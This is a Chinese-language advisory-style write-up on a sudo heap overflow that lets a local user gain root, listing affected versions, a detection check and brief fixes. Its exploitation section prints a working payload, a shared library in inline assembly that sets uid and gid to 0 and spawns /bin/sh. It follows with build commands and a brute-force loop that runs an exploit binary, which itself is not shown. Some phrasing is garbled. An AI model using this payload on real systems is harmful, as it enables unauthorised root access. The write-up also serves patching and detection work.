漏洞背景
1月26日,Sudo發佈了一份安全通知,修復了類似Unix的操作系統在命令參數中避免反斜槓時基於堆的緩衝區溢出漏洞。漏洞等級:高危,漏洞評分:7.0。當sudo在shell模式下通過-s或-i命令行選項運行命令時,它使用反斜槓來轉義命令參數中的特殊字符。但是,當使用-s或-i標誌運行sudodit時,實際上不會轉義,這可能導致緩衝區溢出。只要sudoers文件(通常是/etc/sudoers)存在,攻擊者就可以使用sudo來使用本地普通用戶獲得系統根權限。
漏洞影響版本
受影響版本
Sudo 1.8.2 – 1.8.31p2
Sudo 1.9.0 – 1.9.5p1
不受影響版本
sudo =>1.9.5p2
漏洞檢測
用戶可以使用非root的賬戶登錄系統,運行“ sudoedit -s / ”命令。
若返回如圖以“ sudoedit:”開頭的錯誤,則當前系統可能存在安全風險。
不受影響的系統將顯示以“ usage:”開頭的錯誤響應。
漏洞利用
環境
#la.c
static void __attribute__((constructor)) _init(void) {
__asm __volatile__(
"addq $64, %rsp;"
// setuid(0);
"movq $105, %rax;"
"movq $0, %rdi;"
"syscall;"
// setgid(0);
"movq $106, %rax;"
"movq $0, %rdi;"
"syscall;"
// dup2(0, 1);
"movq $33, %rax;"
"movq $0, %rdi;"
"movq $1, %rsi;"
"syscall;"
// dup2(0, 2);
"movq $33, %rax;"
"movq $0, %rdi;"
"movq $2, %rsi;"
"syscall;"
// execve("/bin/sh");
"movq $59, %rax;"
"movq $0x0068732f6e69622f, %rdi;"
"pushq %rdi;"
"movq %rsp, %rdi;"
"movq $0, %rdx;"
"pushq %rdx;"
"pushq %rdi;"
"movq %rsp, %rsi;"
"syscall;"
// exit(0);
"movq $60, %rax;"
"movq $0, %rdi;"
"syscall;");
}
執行:
gcc -fpic -shared -nostdlib -o X.so.2 la.c
for i in {1..128000}; do echo -n "try number $i "; ./exploit; done
漏洞修復
1、下載升級sudo軟件包
2、對於無法立即更新的用戶,建議使用systemtap